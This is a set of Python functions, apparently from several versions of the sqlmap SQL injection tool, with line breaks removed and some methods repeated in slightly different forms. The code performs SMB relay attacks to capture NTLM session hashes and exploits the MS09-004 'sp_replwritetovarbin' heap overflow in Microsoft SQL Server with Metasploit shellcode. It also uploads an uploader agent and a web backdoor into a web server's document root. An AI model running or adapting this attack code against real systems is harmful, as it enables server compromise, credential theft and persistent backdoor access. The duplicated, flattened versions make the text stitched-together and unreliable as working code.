def osSmb(self): self.checkDbmsOs() if kb.os != "Windows": errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise sqlmapUnsupportedDBMSException(errMsg) if not isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise sqlmapUnsupportedDBMSException(errMsg) elif Backend.getIdentifiedDbms() == DBMS.MYSQL: debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.getIdentifiedDbms() == DBMS.MYSQL: warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.getIdentifiedDbms() == DBMS.PGSQL: warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.getIdentifiedDbms( ) == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion( ) warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def osSmb(self): stackedTest() self.checkDbmsOs() if kb.os != "Windows": errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise sqlmapUnsupportedDBMSException(errMsg) if not kb.stackedTest and not conf.direct: if kb.dbms in ( DBMS.POSTGRESQL, DBMS.MSSQL ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise sqlmapUnsupportedDBMSException(errMsg) elif kb.dbms == DBMS.MYSQL: debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if kb.dbms == DBMS.MYSQL: warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif kb.dbms == DBMS.POSTGRESQL: warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0] warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise sqlmapUnsupportedDBMSException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise sqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def osBof(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise sqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " inp = readInput(msg, default="N") if inp and inp[0].lower() == "y": dos = True else: dos = False if dos: self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def osBof(self): if not isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if not Backend.getIdentifiedDbms( ) == DBMS.MSSQL or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise sqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion( ) infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def __regInit(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise sqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath()
def __regInit(self): stackedTest() if not kb.stackedTest and not conf.direct: return self.checkDbmsOs() if kb.os != "Windows": errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise sqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath()
def osBof(self): stackedTest() if not kb.stackedTest and not conf.direct: return if not kb.dbms == DBMS.MSSQL or kb.dbmsVersion[0] not in ( "2000", "2005" ): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise sqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0] infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the uploader agent" logger.info(infoMsg) message = "which web application language does the web server " message += "support?\n" message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "") message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)") message += "[3] JSP" while True: choice = readInput(message, default="1" if kb.os == "Windows" else "2") if not choice or choice == "2": self.webApi = "php" break elif choice == "1": self.webApi = "asp" break elif choice == "3": errMsg = "JSP web backdoor functionality is not yet " errMsg += "implemented" raise sqlmapUnsupportedDBMSException(errMsg) elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 3: logger.warn("invalid value, it must be 1 or 3") kb.docRoot = getDocRoot(self.webApi) directories = getDirs(self.webApi) directories = list(directories) directories.sort() backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName ) originalBackdoorContent = backdoorContent = backdoorStream.read() uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi)) for directory in directories: # Upload the uploader agent self.__webFileInject(uploaderContent, uploaderName, directory) requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/") if isWindowsPath(requestDir): requestDir = requestDir[2:] requestDir = normalizePath(requestDir) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName) self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/")) uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False) if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the uploader " warnMsg += "agent on '%s'" % directory logger.warn(warnMsg) continue infoMsg = "the uploader agent has been successfully uploaded " infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName ) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", runcmdName ) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload( backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory ): warnMsg = "backdoor hasn't been successfully uploaded " warnMsg += "with uploader probably because of permission " warnMsg += "issues." logger.warn(warnMsg) message = "do you want to try the same method used " message += "for uploader? [y/N] " getOutput = readInput(message, default="N") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = directory infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl logger.info(infoMsg) break